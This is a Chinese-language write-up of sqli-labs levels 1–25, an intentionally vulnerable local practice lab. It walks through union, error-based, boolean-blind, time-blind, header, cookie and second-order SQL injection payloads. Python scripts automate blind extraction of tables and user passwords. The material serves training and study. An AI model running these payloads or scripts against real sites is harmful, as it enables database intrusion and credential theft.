sqli-labs - SQL注入靶场闯关记录
2024-12-27|CTF

环境: https://hub.docker.com/r/acgpiano/sqli-labs

Less-1

根据提示带上查询参数 id=1,正常显示,加上引号即 id=1' 报错 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

从报错可以看出闭合方式是单引号

进行联合注入:

    1. 判断查询列数
    • ?id=1' ORDER BY 3--+ 正常

    • ?id=1' ORDER BY 4--+ 报错: Unknown column '4' in 'order clause'

      因此列数为 3

    1. 判断回显位 ?id=-1' UNION SELECT 1,2,3--+
    Your Login name:2
    Your Password:3
    
    • 库名和版本 ?id=-1' UNION SELECT 1, database(), version()--+ : security, 5.5.44-0ubuntu0.14.04.1
    • 表名 ?id=-1' UNION SELECT 1, 2, group_concat(table_name) FROM information_schema.tables WHERE table_schema='security'--+ : emails, referers, uagents, users
    • 列名 ?id=-1' UNION SELECT 1, 2, group_concat(column_name) FROM information_schema.columns WHERE table_name='users'--+ : id, username, password
    • 数据 ?id=-1' UNION SELECT 1, group_concat(username), group_concat(password) FROM users--+ alt text

Less-2

带上查询参数 id=1',报错位置为 ' LIMIT 0,1,并没有其他闭合符,应该不是字符型注入

验证数字型注入:

  • ?id=1 and 1=1 正常
  • ?id=1 and 1=2 不正常 (页面无内容回显)

剩下的步骤与第一关还是一样的,payload 把引号去掉就行了

Less-3

带上查询参数 id=1' 报错位置为 '1'') LIMIT 0,1 因此闭合方式为 (''),与第一关一样,把单引号改成 ') 就行了

Less-4

带上查询参数 id=1' 正常,改成 id=1" 报错,报错位置为 "1"") LIMIT 0,1,与第一关一样,改成相应的闭合符号

Less-5

闭合方式为单引号,但是页面正常时只有一个 You are in...........,报错信息会回显,可以采用报错注入

使用updatexml引发错误

爆库名和用户名

?id=-1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1) --+
XPATH syntax error: '~security~root@localhost~/var/li'

爆表名

?id=-1' AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e),1) --+
XPATH syntax error: '~emails,referers,uagents,users~'

爆 users 表的列名

?id=-1' AND updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' AND table_name='users'),0x7e),1)--+
XPATH syntax error: '~id,username,password~'

爆账号密码

?id=-1' AND updatexml(1,concat(0x7e,(SELECT group_concat(username) FROM users),0x7e),1)--+
?id=-1' AND updatexml(1,concat(0x7e,(SELECT group_concat(password) FROM users),0x7e),1)--+
XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'
XPATH syntax error: '~Dumb,I-kill-you,p@ssword,crappy'

Less-6

与上关一样,只是换成双引号

Less-7

  • id=1' id=1') 报错,但不提示报错位置
  • id=1" id=1')) 正常,判断闭合方式为 ((''))

报错没有具体报错信息,页面正常时内容不变,采用布尔盲注

import requests

url = "http://localhost:2333/Less-7/"

def send(payload: str) -> bool:
    return 'You are in' in requests.get(url + payload).text

def inject():
    print("Start..")
    
    def find():
        name = ""
        char_offset = 1

        def find_char():
            nonlocal name, char_offset
            for char in range(32, 127):
                
                # 爆表名: emails,referers,uagents,users
                sentence = f"?id=1')) AND (ASCII(SUBSTRING((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), {char_offset}, 1)) = {char})-- "

                # 爆列名: id,username,password
                sentence = f"?id=1')) AND (ASCII(SUBSTRING((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'), {char_offset}, 1)) = {char})-- "

                # 爆账号密码
                sentence = f"?id=1')) AND (ASCII(SUBSTRING((SELECT group_concat(username) FROM users), {char_offset}, 1)) = {char})-- "
                sentence = f"?id=1')) AND (ASCII(SUBSTRING((SELECT group_concat(password) FROM users), {char_offset}, 1)) = {char})-- "

                if send(sentence):
                    name += chr(char)
                    print(name)
                    char_offset += 1
                    find_char()

        find_char()

    find()

if __name__ == '__main__':
    inject()

Less-8

布尔盲注,闭合方式为 ''

Less-9

无论如何修改闭合符号,页面都只有一种状态,采用时间盲注,可以通过 ?id=1' AND SLEEP(1)-- 判断闭合方式,对的话会卡指定秒数不动

把之前的脚本改一下

import requests
import time

url = "http://localhost:2333/Less-9/"

def send(payload: str) -> bool:
    start = time.time()
    requests.get(url + payload)
    end = time.time()
    return end - start > 1

def inject():
    print("Start..")
    
    def find():
        name = ""
        char_offset = 1

        def find_char():
            nonlocal name, char_offset
            for char in range(32, 127):
                
                # 爆表名: emails,referers,uagents,users
                sentence = f"?id=1' AND IF((ASCII(SUBSTRING((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), {char_offset}, 1)) = {char}), SLEEP(1), 0)-- "

                # 爆列名: id,username,password
                sentence = f"?id=1' AND IF((ASCII(SUBSTRING((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'), {char_offset}, 1)) = {char}), SLEEP(1), 0)-- "

                # 爆账号密码
                sentence = f"?id=1' AND IF((ASCII(SUBSTRING((SELECT group_concat(username) FROM users), {char_offset}, 1)) = {char}), SLEEP(1), 0)-- "
                sentence = f"?id=1' AND IF((ASCII(SUBSTRING((SELECT group_concat(password) FROM users), {char_offset}, 1)) = {char}), SLEEP(1), 0)-- "

                if send(sentence):
                    name += chr(char)
                    print(name)
                    char_offset += 1
                    find_char()

        find_char()

    find()

if __name__ == '__main__':
    inject()

Less-10

与上一关一样,但闭合方式是 ""

Less-11

与之前的都不同,给了一个登录框,需要输入用户名和密码 (POST 方法提交表单)

admin'-- 直接登录成功

可以使用联合注入爆出数据库信息

  • admin' ORDER BY 2-- 页面正常,超过则报错,则表内有两列
  • 1' UNION SELECT 1, 2-- 回显位依次为name、password
  • 1' UNION SELECT database(), version()-- 爆库
  • 1' UNION SELECT group_concat(table_name), 2 FROM information_schema.tables WHERE table_schema='security'-- 爆表
  • 1' UNION SELECT group_concat(column_name), 2 FROM information_schema.columns WHERE table_name='users'-- 爆列
  • 1' UNION SELECT group_concat(username), group_concat(password) FROM users-- 爆账号密码

Less-12

双引号 + 括号

Less-13

admin'-- 报错,但不能直接看出来闭合方式,说明闭合方式含有单引号,可能还有括号,继续测试可知为单引号加括号 admin')--

登录成功没有信息回显,可以采用报错注入

使用updatexml引发错误

  • admin') and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)-- 爆库
  • admin') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)-- 爆表
  • admin') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)-- 爆列
  • admin') and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)-- 爆用户名
  • admin') and updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1)-- 爆密码

报错语句只能回显32位,可以利用 mid() 函数截取以查看剩余的内容: admin') and updatexml(1,concat(0x7e,(select mid(group_concat(username), 31, 60) from users),0x7e),1)--

Less-14

admin"-- 登录成功

只有登录成功和失败两种状态,采用布尔盲注

成功的图片是 flag.jpg,失败的图片是 slap.jpg (img 标签的 src 属性值不同)

import requests
from bs4 import BeautifulSoup

url = "http://localhost:2333/Less-14/"

def send(payload: str):
    soup = BeautifulSoup(requests.post(url, data={'uname': payload, 'passwd': '', 'submit': 'Submit', }).text, 'lxml')
    return soup.find(name='img', attrs={'src': '../images/flag.jpg'})

def inject():
    print("Start..")
    
    def find():
        name = ""
        char_offset = 1

        def find_char():
            nonlocal name, char_offset
            for char in range(32, 127):
                
                # 爆表名: emails,referers,uagents,users
                sentence = f"admin\" AND (ASCII(SUBSTRING((SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), {char_offset}, 1)) = {char})-- "

                # 爆列名: id,username,password
                sentence = f"admin\" AND (ASCII(SUBSTRING((SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users'), {char_offset}, 1)) = {char})-- "

                # 爆账号密码
                sentence = f"admin\" AND (ASCII(SUBSTRING((SELECT group_concat(username) FROM users), {char_offset}, 1)) = {char})-- "
                sentence = f"admin\" AND (ASCII(SUBSTRING((SELECT group_concat(password) FROM users), {char_offset}, 1)) = {char})-- "

                if send(sentence):
                    name += chr(char)
                    print(name)
                    char_offset += 1
                    find_char()

        find_char()

    find()

if __name__ == '__main__':
    inject()

Less-15

与上一关一样,不过是单引号闭合

Less-16

闭合方式为 (""),依然可以用布尔盲注

Less-17

这是个密码重置页面 ~~BUG OFF YOU SILLY DUMB HACKER~~

注入点在 password (用户名输 admin),采用报错注入,与之前一样 ' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)--

Less-18

进去显示了自己的 IP 地址,用户密码输入框测不出注入点,均输入 admin 能够登录成功并回显 User-Agent

于是抓包,把 User-Agent 改成一个单引号

alt text

会回显报错,采用报错注入即可 ',1,updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1))#

Less-19

注入点在 Referer 字段

Less-20

注入点是 Cookie 中的 uname

Less-21

也是 Cookie 注入点,不过 uname 使用了 base64 编码

将注入代码进行 base64 编码即可

Less-22

与 21 一样只不过是双引号

Less-23

注释符号不管用,可能是被过滤了,考虑使用其他方式闭合引号,而非忽略后续的代码

?id=1' or '1'='1这样可以在闭合前面引号的同时闭合后面的引号

使用联合注入?id=-1' UNION SELECT 1, group_concat(username), group_concat(password) FROM users WHERE '1'='1

Less-24

有一个登录页面和修改密码的页面

利用注册页面,用户名和密码是直接存到数据库,并不立即进行转移,采用二次注入

先注册一个 admin'-- 账号 然后登入,进行密码修改,会发现实际上修改了 admin 的密码,而非刚刚注册的账号的密码

Less-25

ANDOR被过滤了,联合注入还是可以用'

另外测试发现只替换一次,所以可以这样绕过AANDNANDD OORR